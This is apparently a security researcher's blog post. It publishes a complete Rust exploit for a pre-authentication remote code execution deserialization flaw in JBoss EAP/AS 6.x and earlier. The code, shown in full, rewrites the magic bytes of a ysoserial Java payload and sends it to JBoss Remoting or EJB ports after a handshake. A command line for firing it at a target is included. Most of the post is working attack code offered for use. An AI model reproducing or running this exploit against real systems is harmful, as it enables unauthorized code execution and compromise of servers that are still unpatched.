Time to “leak” this old (but gold) pre-auth RCE affecting some of the Red Hat products.
As stated by @joaomatosf this is an old but gold vulnerability found by himself and shared in two distinct security conference in Brazil, this vulnerability was part of a training he gave alongside with two other colleagues, check his tweet.
https://twitter.com/joaomatosf/status/1502334426868551682
Technical details are available in the slides from the Alligator Conference 2019.
Back in time, I did use this vulnerability as a stimulus to write some Rust code, so forgive me any non-sense.
Cargo.toml
[package]
name = "j-is-d-boss"
version = "0.1.0"
authors = ["jespinhara"]
edition = "2018"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
clap = "~2.33.3"
hexdump = "0.1.0"
main.rs
extern crate clap;
use clap::{Arg, App};
use std::net::TcpStream;
use std::io::{Read, Write};
use std::fs::File;
use std::path::Path;
use std::str::from_utf8;
use std::process::exit;
// stackoverflow FTW
// https://stackoverflow.com/questions/54150353/how-to-find-and-replace-every-matching-slice-of-bytes-with-another-slice
// this will replace all the occurrences, but in this case, \xac\xed only happens once
fn replace_slice<T>(source: &mut [T], from: &[T], to: &[T])
where
T: Clone + PartialEq,
{
let iteration = if source.starts_with(from) {
source[..from.len()].clone_from_slice(to);
from.len()
} else {
1
};
if source.len() > from.len() {
replace_slice(&mut source[iteration..], from, to);
}
}
fn prepare_payload(serial_file: &str) -> Vec<u8> {
println!("[!] Loading and preparing the payload...");
let in_the_past = b"\xac\xed\x00\x05";
let magic_bytes = b"\x77\x01\x16\x79";
let mut file_content = Vec::new();
let mut file = File::open(&serial_file).expect("[-] Unable to open file");
file.read_to_end(&mut file_content).expect("[-] Unable to read");
replace_slice(&mut file_content, in_the_past, magic_bytes);
file_content
}
fn send_gift(target: &str, port: &str, payload: Vec<u8>) {
let mut target_address = target.to_string();
let mut target_port = port.to_string();
// target:port -> TcpStream
target_address.push_str(":");
target_address.push_str(&target_port);
if let Ok(mut stream) = TcpStream::connect(target_address) {
println!("[+] Connected to the server!");
let handshake = b"\xac\xed\x00\x05";
println!("[!] Sending handshake...");
stream.write(handshake).unwrap();
let mut data = [0 as u8; 4];
match stream.read_exact(&mut data) {
Ok(_) => {
if &data == handshake {
println!("[+] Handshake Succeed!");
stream.write(payload.as_slice()).unwrap();
println!("[+] Exploiting... Done!");
} else {
let res = from_utf8(&data).unwrap();
println!("[-] Unexpected response: {}", res);
println!("[-] Server response bytes: {:?}", res);
}
}
Err(e) => {
println!("[-] Failed to receive data: {}", e);
}
}
} else {
println!("[-] Couldn't connect to server...");
}
}
fn main() {
let matches = App::new("JBoss EAP/AS <= 6.X Vulnerability by @joaomatosf - A little bit beyond ACED")
.version("1.0")
.author("Exploit by: @jespinhara\n")
.about("\nJBoss EAP/AS <= 6.X by default and JBoss EAP/AS up to date if the targeted service is enabled.")
.arg(Arg::with_name("target")
.short("t")
.long("target")
.value_name("TARGET")
.help("Target address")
.takes_value(true)
.required(true))
.arg(Arg::with_name("port")
.short("p")
.long("port")
.value_name("PORT")
.help("Port (4446: JBoss Remoting Unified Invoker, 3873: EJB Remoting Connector)")
.takes_value(true)
.default_value("4446")
.required(false))
.arg(Arg::with_name("payload")
.short("y")
.long("payload")
.value_name("PAYLOAD")
.help("Ysoserial payload")
.takes_value(true)
.required(true))
.get_matches();
let target = matches.value_of("target").unwrap();
let port = matches.value_of("port").unwrap();
let payload = matches.value_of("payload").unwrap();
if !Path::new(payload).exists() {
println!("[-] Payload file not found! Exiting...");
exit(0);
}
send_gift(target, port, prepare_payload(payload));
}
To use this exploit, create a malicious java payload using the well-known ysoserial , which I personally use @pimps modified version , then:
# ./j-is-d-boss -t [TARGET] -y [payload.ser] -p [PORT]
“Funny” enough, Marcio’s python exploit has 20 lines and works like a charm. Keep it simple.
That’s all cya folks!